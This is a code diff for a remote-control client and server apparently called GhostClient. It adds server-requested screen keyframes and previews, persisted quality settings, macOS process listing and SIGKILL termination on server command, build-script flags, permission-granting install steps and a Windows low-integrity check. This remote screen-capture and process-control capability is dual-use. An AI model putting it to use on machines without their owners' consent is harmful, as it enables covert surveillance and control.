if (!saved) return (int8_t)QUALITY_GOOD;
|
||||
int level = [saved intValue];
|
||||
if (level < QUALITY_DISABLED || level >= QUALITY_COUNT) return (int8_t)QUALITY_GOOD;
|
||||
return (int8_t)level;
|
||||
}
|
||||
|
||||
ScreenHandler::ScreenHandler(IOCPClient* client)
|
||||
: m_client(client)
|
||||
, m_clientID(0)
|
||||
@@ -45,6 +61,10 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
|
||||
// Cache color space (avoid per-frame creation)
|
||||
m_colorSpace = CGColorSpaceCreateDeviceRGB();
|
||||
|
||||
// 上次保存的质量等级(服务端下发的 CMD_QUALITY_LEVEL 带 persist 位时写入)。
|
||||
// 放在构造末尾按普通调用应用一次:此时 m_width==0,尺寸相关分支天然不触发。
|
||||
applyQualityLevel(loadPersistedQualityLevel(), false);
|
||||
|
||||
// Initialize input handler for mouse/keyboard control
|
||||
m_inputHandler = std::make_unique<InputHandler>();
|
||||
if (m_inputHandler->init()) {
|
||||
@@ -498,6 +518,12 @@ void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
|
||||
}
|
||||
break;
|
||||
|
||||
case COMMAND_SCREEN_KEYFRAME_REQ:
|
||||
// Web 屏幕墙恢复/新加入者请求:下一帧强制 IDR,立即重建参考链。
|
||||
// 这里只置标志,由采集线程在下一帧消费(见 sendH264Frame 的调用点)。
|
||||
m_keyframeRequested.store(true);
|
||||
break;
|
||||
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
// 服务端设置剪贴板: [cmd:1][text:N]
|
||||
if (size > 1) {
|
||||
@@ -626,8 +652,13 @@ void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
|
||||
{
|
||||
m_qualityLevel = level;
|
||||
|
||||
// TODO: persist to config file if needed
|
||||
(void)persist;
|
||||
// 持久化(服务端 CMD_QUALITY_LEVEL 的第 3 字节)。下次启动构造时读回并应用,
|
||||
// 与 Linux 端把 QualityLevel 写进 config 的语义一致。
|
||||
if (persist) {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:(NSInteger)level forKey:kQualityLevelKey];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
NSLog(@">>> Quality saved: level=%d", (int)level);
|
||||
}
|
||||
|
||||
if (level == QUALITY_DISABLED) {
|
||||
// Disabled mode: keep current settings
|
||||
@@ -834,6 +865,18 @@ void ScreenHandler::sendDiffFrame()
|
||||
|
||||
void ScreenHandler::sendH264Frame(bool keyframe)
|
||||
{
|
||||
// 强制 IDR 请求在调用点已经 exchange 掉,只有真的把这一帧编出来才算消费成功。
|
||||
// 中途任何提前返回(抓屏失败 / 没连接 / 编码器开不起来 / 编码失败)都把它还回去,
|
||||
// 否则 Web 端要等编码器下一次自然 IDR(最长一个 GOP)才能解出画面。
|
||||
struct RearmOnFailure {
|
||||
std::atomic<bool>& flag;
|
||||
bool force;
|
||||
bool consumed;
|
||||
RearmOnFailure(std::atomic<bool>& f, bool force_)
|
||||
: flag(f), force(force_), consumed(false) {}
|
||||
~RearmOnFailure() { if (force && !consumed) flag.store(true); }
|
||||
} rearm(m_keyframeRequested, keyframe);
|
||||
|
||||
if (!captureScreen(m_currFrame)) return;
|
||||
if (!m_client) return;
|
||||
|
||||
@@ -900,6 +943,7 @@ void ScreenHandler::sendH264Frame(bool keyframe)
|
||||
memcpy(&packet[headerSize], encodedData, encodedSize);
|
||||
|
||||
m_client->Send2Server((char*)packet.data(), packet.size());
|
||||
rearm.consumed = true;
|
||||
}
|
||||
|
||||
uint32_t ScreenHandler::compareBitmap(const uint8_t* curr, const uint8_t* prev,
|
||||
@@ -1214,8 +1258,12 @@ void ScreenHandler::captureLoop()
|
||||
currentAlgo = algo;
|
||||
|
||||
if (algo == ALGORITHM_H264) {
|
||||
// 这一帧本身就是关键帧:挂起的强制 IDR 请求顺手清掉,别下一帧再打一次
|
||||
m_keyframeRequested.store(false);
|
||||
sendH264Frame(true); // First H264 frame is keyframe
|
||||
} else {
|
||||
// 非 H264 时关键帧请求没有意义,顺手清掉,免得切回 H264 时白打一次 IDR
|
||||
m_keyframeRequested.store(false);
|
||||
if (m_h264Encoder) {
|
||||
m_h264Encoder->close();
|
||||
m_h264Encoder.reset();
|
||||
@@ -1224,7 +1272,8 @@ void ScreenHandler::captureLoop()
|
||||
}
|
||||
} else {
|
||||
if (algo == ALGORITHM_H264) {
|
||||
sendH264Frame(false);
|
||||
// 服务端的强制 IDR 请求在这里消费:下一帧就是关键帧。
|
||||
sendH264Frame(m_keyframeRequested.exchange(false));
|
||||
} else {
|
||||
sendDiffFrame();
|
||||
}
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
#pragma once
|
||||
// 屏幕预览(COMMAND_SCREEN_PREVIEW_REQ)—— macOS 端一次性抓屏
|
||||
//
|
||||
// 与 linux/ScreenPreview.h、Windows 端 client/ScreenPreview.h 对应:服务端双击在线主机
|
||||
// 时索取一张缩略图。macOS 没有可依赖的 JPEG 编码库(ImageIO 能编,但走的是另一套
|
||||
// 颜色/尺寸语义,与 Windows 的 GDI+ 输出不一致),所以这里只做 抓屏 → 等比缩放 →
|
||||
// BGRA 原始像素,由服务端在 IO 线程统一编码成 JPEG(下游只认 JPEG 一种格式)。
|
||||
#include <vector>
|
||||
|
||||
class ScreenPreview
|
||||
{
|
||||
public:
|
||||
// 本机当前能否截图:有主显示器且已授予录屏权限。
|
||||
// 服务端按 CLIENT_CAP_SCREEN_PREVIEW 决定要不要下发预览请求,能力位就取自它。
|
||||
static bool IsAvailable();
|
||||
|
||||
// 抓主屏并等比缩放到 maxWidth 以内(不放大、高不超过 1080),返回 ScreenPreviewStatus。
|
||||
// out 为自上而下逐行、每像素 B,G,R,X 四字节(X=0xFF),无行首填充。
|
||||
static int Capture(int maxWidth, std::vector<unsigned char>& out, int& outW, int& outH);
|
||||
};
|
||||
@@ -0,0 +1,101 @@
|
||||
#import "ScreenPreview.h"
|
||||
#import "Permissions.h"
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
|
||||
#include "../common/commands.h" // ScreenPreviewStatus / SCREEN_PREVIEW_FMT_BGRX
|
||||
|
||||
#include <cstddef>
|
||||
|
||||
namespace {
|
||||
|
||||
// 目标尺寸:与 Linux/Windows 端同一套规则——等比缩到 maxWidth 以内(不放大),
|
||||
// 高度再压到 1080(竖屏/超宽屏的原始像素包会大到没意义),宽高取偶数。
|
||||
bool ComputeTargetSize(int sw, int sh, int maxWidth, int& tw, int& th)
|
||||
{
|
||||
if (sw <= 0 || sh <= 0) return false;
|
||||
tw = sw;
|
||||
th = sh;
|
||||
if (tw > maxWidth) {
|
||||
th = (int)((long long)sh * maxWidth / sw);
|
||||
tw = maxWidth;
|
||||
}
|
||||
if (th > 1080) {
|
||||
tw = (int)((long long)tw * 1080 / th);
|
||||
th = 1080;
|
||||
}
|
||||
tw &= ~1;
|
||||
th &= ~1;
|
||||
if (tw < 2) tw = 2;
|
||||
if (th < 2) th = 2;
|
||||
if (tw > sw) tw = sw;
|
||||
if (th > sh) th = sh;
|
||||
return tw > 0 && th > 0;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool ScreenPreview::IsAvailable()
|
||||
{
|
||||
// 没有录屏授权时 CGDisplayCreateImage 仍然会返回一张图(macOS 15 起是壁纸 +
|
||||
// 窗口占位),看起来"成功"却什么都看不到,所以不能只靠试抓一次。
|
||||
if (CGMainDisplayID() == 0) return false;
|
||||
// 预检只读 TCC 状态位,ad-hoc 重签之后可能假阴性;启动时的授权判定因此用的是
|
||||
// 真抓一帧(Permissions::checkScreenCapture)。这里两者取或:宁可多发几次注定
|
||||
// 失败的预览请求,也不要出现「远程能看屏、get_screenshot 却一直 -32005」。
|
||||
return Permissions::checkScreenCapturePreflight() || Permissions::checkScreenCapture();
|
||||
}
|
||||
|
||||
int ScreenPreview::Capture(int maxWidth, std::vector<unsigned char>& out, int& outW, int& outH)
|
||||
{
|
||||
outW = 0;
|
||||
outH = 0;
|
||||
out.clear();
|
||||
|
||||
// 与 Linux 端一致:上限防滥用,下限防止 1 像素宽的退化请求
|
||||
if (maxWidth < 64) maxWidth = 64;
|
||||
if (maxWidth > 1920) maxWidth = 1920;
|
||||
|
||||
const CGDirectDisplayID display = CGMainDisplayID();
|
||||
if (display == 0) return SCREEN_PREVIEW_NOT_SUPPORTED;
|
||||
|
||||
const int sw = (int)CGDisplayPixelsWide(display);
|
||||
const int sh = (int)CGDisplayPixelsHigh(display);
|
||||
int tw = 0, th = 0;
|
||||
if (!ComputeTargetSize(sw, sh, maxWidth, tw, th)) return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||
|
||||
// CGDisplayCreateImage 从 macOS 14 起标记废弃(官方推荐 ScreenCaptureKit 的异步
|
||||
// SCScreenshotManager),但没有删除;一次几十毫秒的抓图用异步 API 要额外起 run loop,
|
||||
// 不划算。这里显式压掉废弃告警,并在构建机升级到真正移除该 API 时再换实现。
|
||||
#pragma clang diagnostic push
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
||||
CGImageRef image = CGDisplayCreateImage(display);
|
||||
#pragma clang diagnostic pop
|
||||
if (image == nullptr) return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||
|
||||
// kCGImageAlphaNoneSkipFirst + 32Little 在内存里就是 B,G,R,X 的字节序,与协议里
|
||||
// SCREEN_PREVIEW_FMT_BGRX 的定义一致;缩放交给 CoreGraphics 在绘制时完成。
|
||||
const size_t stride = (size_t)tw * 4;
|
||||
out.resize(stride * (size_t)th);
|
||||
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
|
||||
CGContextRef ctx = CGBitmapContextCreate(out.data(), (size_t)tw, (size_t)th, 8, stride, cs,
|
||||
kCGImageAlphaNoneSkipFirst | kCGBitmapByteOrder32Little);
|
||||
CGColorSpaceRelease(cs);
|
||||
if (ctx == nullptr) {
|
||||
CGImageRelease(image);
|
||||
out.clear();
|
||||
return SCREEN_PREVIEW_CAPTURE_FAILED;
|
||||
}
|
||||
|
||||
CGContextSetInterpolationQuality(ctx, kCGInterpolationMedium);
|
||||
CGContextSetShouldAntialias(ctx, false);
|
||||
CGContextDrawImage(ctx, CGRectMake(0, 0, tw, th), image);
|
||||
CGContextRelease(ctx);
|
||||
CGImageRelease(image);
|
||||
|
||||
// Alpha 字节协议要求 0xFF;kCGImageAlphaNoneSkipFirst 不会写它
|
||||
for (size_t i = 3; i < out.size(); i += 4) out[i] = 0xFF;
|
||||
|
||||
outW = tw;
|
||||
outH = th;
|
||||
return SCREEN_PREVIEW_OK;
|
||||
}
|
||||
+28
-21
@@ -1,40 +1,47 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <sys/types.h>
|
||||
|
||||
// Forward declaration
|
||||
class IOCPClient;
|
||||
// IOCPManager / IOCPClient / PBYTE / ULONG 来自这里;本类必须派生 IOCPManager,
|
||||
// 见下方注释。Mprintf 由 common/logger.h 提供(本类的日志要进「运行日志」的 ring)。
|
||||
#include "../client/IOCPClient.h"
|
||||
#include "../common/logger.h"
|
||||
|
||||
class SystemManager {
|
||||
// ============== macOS 进程管理 ==============
|
||||
// 与 Linux 端(linux/SystemManager.h)同一套 wire 格式:主连接收到 COMMAND_SYSTEM 后,
|
||||
// 客户端另起一条「系统子连接」,本类只在这条子连接上收发:
|
||||
// COMMAND_PSLIST → TOKEN_PSLIST
|
||||
// COMMAND_KILLPROCESS → kill(2) 后补发一次 TOKEN_PSLIST
|
||||
// COMMAND_WSLIST → TOKEN_WSLIST
|
||||
//
|
||||
// 两个约束都是子连接骨架(common/sub_conn_thread.h)定死的:
|
||||
// 1. 必须派生 IOCPManager —— 骨架装的回调是 IOCPManager::DataProcess,它把 user
|
||||
// 强转成 IOCPManager* 再调虚函数 OnReceive;普通类装上去会直接崩。
|
||||
// 2. 构造函数必须只收 IOCPClient* —— 骨架的 createHandler 契约是
|
||||
// std::unique_ptr<T>(IOCPClient*)。
|
||||
// 这也解释了它以前为什么是死代码:签名对不上骨架,一直没被实例化,
|
||||
// main.mm 的 COMMAND_SYSTEM 只打了一行日志。
|
||||
class SystemManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
SystemManager(IOCPClient* client, uint64_t clientID);
|
||||
~SystemManager();
|
||||
explicit SystemManager(IOCPClient* client);
|
||||
~SystemManager() override {}
|
||||
|
||||
// Handle commands from server
|
||||
void onReceive(const uint8_t* data, size_t size);
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) override;
|
||||
|
||||
private:
|
||||
// Send process list to server
|
||||
// 发送完整进程列表(构造时立即发一次,服务端据此判定子连接就绪)
|
||||
void sendProcessList();
|
||||
|
||||
// Kill processes by PID
|
||||
// 终止进程:载荷是若干个 4 字节 PID(与 Windows/Linux 一致)
|
||||
void killProcesses(const uint8_t* data, size_t size);
|
||||
|
||||
// Send window list (limited on macOS without accessibility)
|
||||
// 窗口列表:macOS 只能给「有可见窗口的应用」的伪句柄(PID)+ 应用名
|
||||
void sendWindowsList();
|
||||
|
||||
// Get process name by PID
|
||||
static std::string getProcessName(pid_t pid);
|
||||
|
||||
// Get process executable path by PID
|
||||
static std::string getProcessPath(pid_t pid);
|
||||
|
||||
// Get all running PIDs
|
||||
static std::vector<pid_t> getAllPids();
|
||||
|
||||
private:
|
||||
IOCPClient* m_client;
|
||||
uint64_t m_clientID;
|
||||
};
|
||||
+30
-32
@@ -4,34 +4,30 @@
|
||||
#import <sys/sysctl.h>
|
||||
#import <libproc.h>
|
||||
#import <signal.h>
|
||||
#import <unistd.h>
|
||||
#include <cstring> // memcpy / strlen / memset
|
||||
#include <unistd.h>
|
||||
|
||||
SystemManager::SystemManager(IOCPClient* client, uint64_t clientID)
|
||||
SystemManager::SystemManager(IOCPClient* client)
|
||||
: m_client(client)
|
||||
, m_clientID(clientID)
|
||||
{
|
||||
// Send initial process list on connection
|
||||
// 与 Windows/Linux 端一致:构造时立即发送进程列表。服务端把这条首包当作
|
||||
// 「系统子连接已就绪」,kill_process / list_processes 都在等它。
|
||||
sendProcessList();
|
||||
}
|
||||
|
||||
SystemManager::~SystemManager()
|
||||
void SystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
}
|
||||
if (!szBuffer || ulLength == 0) return;
|
||||
|
||||
void SystemManager::onReceive(const uint8_t* data, size_t size)
|
||||
{
|
||||
if (!data || size == 0) return;
|
||||
|
||||
switch (data[0]) {
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_PSLIST:
|
||||
sendProcessList();
|
||||
break;
|
||||
|
||||
case COMMAND_KILLPROCESS:
|
||||
if (size > 1) {
|
||||
killProcesses(data + 1, size - 1);
|
||||
if (ulLength > 1) {
|
||||
killProcesses(szBuffer + 1, ulLength - 1);
|
||||
// Refresh list after kill
|
||||
usleep(100000); // 100ms wait
|
||||
sendProcessList();
|
||||
}
|
||||
break;
|
||||
@@ -41,12 +37,12 @@ void SystemManager::onReceive(const uint8_t* data, size_t size)
|
||||
break;
|
||||
|
||||
default:
|
||||
NSLog(@"SystemManager: Unknown command: %d", (int)data[0]);
|
||||
Mprintf("[SystemManager] Unknown sub-command: %d\n", (int)szBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<pid_t> SystemManager::getAllPids()
|
||||
static std::vector<pid_t> getAllPids()
|
||||
{
|
||||
std::vector<pid_t> pids;
|
||||
|
||||
@@ -54,8 +50,8 @@ std::vector<pid_t> SystemManager::getAllPids()
|
||||
int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
|
||||
if (count <= 0) return pids;
|
||||
|
||||
// Allocate buffer for PIDs
|
||||
std::vector<pid_t> buffer(count * 2); // Extra space for new processes
|
||||
// Allocate buffer for PIDs (double the size: processes may spawn in between)
|
||||
std::vector<pid_t> buffer(count * 2);
|
||||
count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t)));
|
||||
if (count <= 0) return pids;
|
||||
|
||||
@@ -69,7 +65,7 @@ std::vector<pid_t> SystemManager::getAllPids()
|
||||
return pids;
|
||||
}
|
||||
|
||||
std::string SystemManager::getProcessName(pid_t pid)
|
||||
static std::string getProcessName(pid_t pid)
|
||||
{
|
||||
char name[PROC_PIDPATHINFO_MAXSIZE];
|
||||
memset(name, 0, sizeof(name));
|
||||
@@ -82,7 +78,7 @@ std::string SystemManager::getProcessName(pid_t pid)
|
||||
return "";
|
||||
}
|
||||
|
||||
std::string SystemManager::getProcessPath(pid_t pid)
|
||||
static std::string getProcessPath(pid_t pid)
|
||||
{
|
||||
char path[PROC_PIDPATHINFO_MAXSIZE];
|
||||
memset(path, 0, sizeof(path));
|
||||
@@ -112,6 +108,7 @@ void SystemManager::sendProcessList()
|
||||
#endif
|
||||
|
||||
std::vector<pid_t> pids = getAllPids();
|
||||
size_t sent = 0;
|
||||
|
||||
for (pid_t pid : pids) {
|
||||
if (pid <= 0) continue;
|
||||
@@ -139,29 +136,31 @@ void SystemManager::sendProcessList()
|
||||
// Write fullPath (null-terminated)
|
||||
buf.insert(buf.end(), path.begin(), path.end());
|
||||
buf.push_back(0);
|
||||
++sent;
|
||||
}
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||
NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes",
|
||||
buf.size(), pids.size());
|
||||
m_client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
Mprintf("[SystemManager] SendProcessList: %zu bytes, %zu processes\n", buf.size(), sent);
|
||||
}
|
||||
|
||||
void SystemManager::killProcesses(const uint8_t* data, size_t size)
|
||||
{
|
||||
// Each PID is 4 bytes (DWORD)
|
||||
// Each PID is 4 bytes (DWORD),与 Windows/Linux 端一致
|
||||
for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) {
|
||||
uint32_t dwPid = *(uint32_t*)(data + i);
|
||||
uint32_t dwPid;
|
||||
memcpy(&dwPid, data + i, sizeof(dwPid));
|
||||
pid_t pid = (pid_t)dwPid;
|
||||
|
||||
// Don't allow killing kernel/launchd
|
||||
// Don't allow killing kernel/launchd(launchd 的 pid 是 1)
|
||||
if (pid <= 1) continue;
|
||||
|
||||
// Don't allow killing ourselves
|
||||
if (pid == getpid()) continue;
|
||||
|
||||
int ret = kill(pid, SIGKILL);
|
||||
NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret);
|
||||
Mprintf("[SystemManager] kill(%d, SIGKILL) = %d\n", (int)pid, ret);
|
||||
}
|
||||
usleep(100000); // 100ms 等待进程退出,之后的列表才不会还把死进程列出来
|
||||
}
|
||||
|
||||
void SystemManager::sendWindowsList()
|
||||
@@ -171,7 +170,8 @@ void SystemManager::sendWindowsList()
|
||||
std::vector<uint8_t> buf;
|
||||
buf.push_back(TOKEN_WSLIST);
|
||||
|
||||
// Get list of running applications
|
||||
// macOS 没有 HWND。这里列「有可见窗口的应用」,句柄位置放 PID 充当伪句柄,
|
||||
// 与 Windows 的 TOKEN_WSLIST 同构(uint64 句柄 + NUL 结尾标题)。
|
||||
NSArray<NSRunningApplication*>* apps = [[NSWorkspace sharedWorkspace] runningApplications];
|
||||
|
||||
for (NSRunningApplication* app in apps) {
|
||||
@@ -185,17 +185,15 @@ void SystemManager::sendWindowsList()
|
||||
|
||||
pid_t pid = app.processIdentifier;
|
||||
|
||||
// Write window handle (use PID as pseudo-handle)
|
||||
uint64_t hwnd = (uint64_t)pid;
|
||||
const uint8_t* p = (const uint8_t*)&hwnd;
|
||||
buf.insert(buf.end(), p, p + sizeof(uint64_t));
|
||||
|
||||
// Write window title (null-terminated)
|
||||
const char* utf8Name = [name UTF8String];
|
||||
buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name));
|
||||
buf.push_back(0);
|
||||
}
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||
NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size());
|
||||
m_client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
Mprintf("[SystemManager] SendWindowsList: %zu bytes\n", buf.size());
|
||||
}
|
||||
+6
-1
@@ -27,8 +27,13 @@ mkdir -p build
|
||||
cd build
|
||||
|
||||
# Configure
|
||||
# 架构与最低系统版本显式传:两者都是 CMake 的 cache 变量,旧 build 目录里可能还存着
|
||||
# universal / 10.13 的旧值,只改 CMakeLists.txt 不会生效(arm64 + Homebrew OpenSSL
|
||||
# 是单架构组合,留着 x86_64 slice 会链接失败)。
|
||||
echo "Configuring..."
|
||||
cmake .. -DCMAKE_BUILD_TYPE=Release
|
||||
cmake .. -DCMAKE_BUILD_TYPE=Release \
|
||||
-DCMAKE_OSX_ARCHITECTURES=arm64 \
|
||||
-DCMAKE_OSX_DEPLOYMENT_TARGET=11.0
|
||||
|
||||
# Build
|
||||
echo ""
|
||||
|
||||
+2
-1
@@ -110,7 +110,8 @@ echo "2. 授权以下权限 (在系统设置中勾选 GhostClient):"
|
||||
echo " - 屏幕录制: 允许捕获屏幕画面"
|
||||
echo " - 辅助功能: 允许控制鼠标键盘"
|
||||
echo ""
|
||||
echo "3. 授权后重启应用:"
|
||||
echo "3. 两个都授权后应用会自己重启一次(日志里是 Auto-restart: launching ...),"
|
||||
echo " 一般不用手动操作。若 15 分钟内没等到,手动重启:"
|
||||
echo ""
|
||||
echo " pkill -f GhostClient && open /Applications/GhostClient.app"
|
||||
echo ""
|
||||
|
||||
+861
-52
File diff suppressed because it is too large.
Load diff
+2025
-2512
File diff suppressed because it is too large.
Load diff
@@ -328,6 +328,18 @@ static BOOL IsAgentMode()
|
||||
return cmdLine.Find(_T("-agent")) != -1;
|
||||
}
|
||||
|
||||
// 是否为服务相关的命令行。
|
||||
// 这几个分支由 HandleServiceCommandLine 自己处理,低完整性检查必须放行 ——
|
||||
// 否则服务装不上也卸不掉,等于把唯一的补救手段也堵死了。
|
||||
static bool IsServiceRelatedCommand()
|
||||
{
|
||||
CString cmdLine = ::GetCommandLine();
|
||||
cmdLine.MakeLower();
|
||||
return cmdLine.Find(_T("-service")) != -1
|
||||
|| cmdLine.Find(_T("-install")) != -1
|
||||
|| cmdLine.Find(_T("-uninstall")) != -1;
|
||||
}
|
||||
|
||||
// CMy2015RemoteApp 初始化
|
||||
|
||||
BOOL IsRunningAsAdmin()
|
||||
@@ -373,6 +385,116 @@ BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||
return ShellExecuteExA(&shExecInfo);
|
||||
}
|
||||
|
||||
// 取当前进程的完整性级别 RID(Low=0x1000 / Medium=0x2000 / High=0x3000)
|
||||
// 失败返回 0(此时调用方按"未知"处理,不做任何提示)
|
||||
static DWORD GetProcessIntegrityRid()
|
||||
{
|
||||
DWORD dwRid = 0;
|
||||
HANDLE hToken = NULL;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
BYTE buf[256] = { 0 };
|
||||
DWORD cbSize = sizeof(buf);
|
||||
if (GetTokenInformation(hToken, TokenIntegrityLevel, buf, cbSize, &cbSize)) {
|
||||
TOKEN_MANDATORY_LABEL* pTml = (TOKEN_MANDATORY_LABEL*)buf;
|
||||
if (pTml->Label.Sid != NULL) {
|
||||
DWORD nSub = *GetSidSubAuthorityCount(pTml->Label.Sid);
|
||||
if (nSub > 0) {
|
||||
dwRid = *GetSidSubAuthority(pTml->Label.Sid, nSub - 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(hToken);
|
||||
return dwRid;
|
||||
}
|
||||
|
||||
// 把文本放进剪贴板(工程是 MultiByte,用 CF_TEXT)
|
||||
static void CopyTextToClipboard(const CString& text)
|
||||
{
|
||||
if (!::OpenClipboard(NULL)) {
|
||||
return;
|
||||
}
|
||||
::EmptyClipboard();
|
||||
|
||||
int nLen = (text.GetLength() + 1) * sizeof(TCHAR);
|
||||
HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, nLen);
|
||||
if (hMem != NULL) {
|
||||
void* pDst = ::GlobalLock(hMem);
|
||||
if (pDst != NULL) {
|
||||
memcpy(pDst, (LPCTSTR)text, nLen);
|
||||
::GlobalUnlock(hMem);
|
||||
if (::SetClipboardData(CF_TEXT, hMem) != NULL) {
|
||||
hMem = NULL; // 所有权已交给剪贴板,不能再释放
|
||||
}
|
||||
}
|
||||
if (hMem != NULL) {
|
||||
::GlobalFree(hMem);
|
||||
}
|
||||
}
|
||||
::CloseClipboard();
|
||||
}
|
||||
|
||||
// 低完整性自检
|
||||
//
|
||||
// 返回值:true = 允许继续启动;false = 应当中止启动
|
||||
//
|
||||
// 现象:exe 文件带 Low 完整性标签时,Windows 会把进程 IL 压到 Low,
|
||||
// 即使「以管理员身份运行」也一样(服务+代理模式同样无效),
|
||||
// 表现为「设置全是默认值、保存无效」。
|
||||
//
|
||||
// 为什么程序自己修不了:
|
||||
// 进程 IL 在创建后不可更改,Low 进程又受 no-write-up 限制,连自己
|
||||
// exe 的标签都改不了(实测报「指明特定的安全 ID 可能不能作为对象
|
||||
// 的标签分配」);runas 提权同样无效(UAC 批准模式关闭时是空操作,
|
||||
// 子进程继承 Low)。所以只能把修复命令交给用户在管理员命令行执行。
|
||||
//
|
||||
// 为什么返回 false 而不是继续启动:带着 Low IL 进主界面没有任何意义 ——
|
||||
// 配置全是默认值、改了也存不下来,用户只会以为是别的 bug。
|
||||
//
|
||||
// 服务实例(-service)走不到这里:它在 HandleServiceCommandLine 就返回了。
|
||||
// 代理模式(-agent-asuser)由服务每 10 秒拉起一次,弹窗会变成弹窗轰炸,
|
||||
// 所以只记日志、直接退出。
|
||||
static bool CheckLowIntegrity(bool bAgentMode)
|
||||
{
|
||||
DWORD dwRid = GetProcessIntegrityRid();
|
||||
if (dwRid == 0 || dwRid >= SECURITY_MANDATORY_MEDIUM_RID) {
|
||||
return true; // Medium 及以上,正常
|
||||
}
|
||||
|
||||
char exePath[MAX_PATH] = { 0 };
|
||||
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
||||
Mprintf("[完整性] 警告:进程完整性级别为 Low(RID=0x%X),"
|
||||
"注册表与日志写入会失败。exe=%s\n", dwRid, exePath);
|
||||
|
||||
if (bAgentMode) {
|
||||
return false; // 服务拉起的实例:静默退出,避免反复弹窗
|
||||
}
|
||||
|
||||
CString fixCmd;
|
||||
fixCmd.Format(_T("icacls \"%s\" /setintegritylevel M"), exePath);
|
||||
|
||||
CString msg;
|
||||
msg.Format(_TR(
|
||||
"本程序运行在「低完整性」模式下,部分功能会异常。\n\n"
|
||||
"请以管理员身份打开命令提示符,执行:\n\n"
|
||||
" %s\n\n"
|
||||
"执行后重新启动本程序。\n\n"
|
||||
"点「是」复制上面的命令,点「否」关闭。"), (LPCTSTR)fixCmd);
|
||||
|
||||
if (::MessageBox(NULL, msg, _TR("完整性级别受限"),
|
||||
MB_ICONWARNING | MB_YESNO) == IDYES) {
|
||||
CopyTextToClipboard(fixCmd);
|
||||
::MessageBox(NULL,
|
||||
_TR("修复命令已复制到剪贴板。\n\n"
|
||||
"请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。"),
|
||||
_TR("已复制"), MB_ICONINFORMATION | MB_OK);
|
||||
}
|
||||
|
||||
return false; // 无论点是还是否,都不继续启动
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteApp::ProcessZstaCmd()
|
||||
{
|
||||
// 检查是否已注册右键菜单
|
||||
@@ -510,6 +632,35 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
// 代理模式由服务管理,不应再次请求管理员权限提升
|
||||
// 否则会导致:1) 原进程正常退出(exitCode=0)不被视为崩溃 2) 被提升的进程脱离服务监控
|
||||
BOOL isAgentMode = IsAgentMode();
|
||||
|
||||
// 设置线程区域为中文,确保 MBCS 程序在非中文系统上也能正确显示对话框中的中文
|
||||
// 必须在创建任何对话框之前调用
|
||||
SetChineseThreadLocale();
|
||||
|
||||
// 加载语言包(必须在显示任何文本之前)
|
||||
// 内嵌资源支持 en_US 和 zh_TW,无需外部文件
|
||||
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
|
||||
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
|
||||
langDir = langDir.empty() ? "./lang" : langDir;
|
||||
g_Lang.Init(langDir.c_str()); // 初始化目录(用于磁盘补丁文件)
|
||||
g_Lang.Load(lang.c_str()); // 加载语言(优先内嵌资源,再覆盖磁盘文件)
|
||||
Mprintf("语言: %s, 目录: %s\n", lang.c_str(), langDir.c_str());
|
||||
|
||||
// 低完整性自检 —— 必须排在「提权」和「服务自愈」之前。
|
||||
// 1) 排在 HandleServiceCommandLine 之后:双击时程序会先把服务装好/启动,
|
||||
// 然后自己 return FALSE 退出,提示只能由服务拉起的 -agent-asuser 弹出来;
|
||||
// 而 agent 为了防轰炸是静默的,结果就是「双击没反应、一个字都不提示」。
|
||||
// 2) 排在 LaunchAsAdmin 之后:Low 下 runas 是空操作,提权出来的子进程依然是
|
||||
// Low,会陷入「弹 UAC → 还是 Low → 再弹 UAC」的死循环。
|
||||
// 服务相关命令行(-service/-install/-uninstall)放行,交给下面处理。
|
||||
if (!IsServiceRelatedCommand()) {
|
||||
if (!CheckLowIntegrity(isAgentMode != FALSE)) {
|
||||
Mprintf("[InitInstance] 低完整性,已中止启动。\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// 普通用户提权(低完整性已在上面拦下,走到这里说明 IL 正常)
|
||||
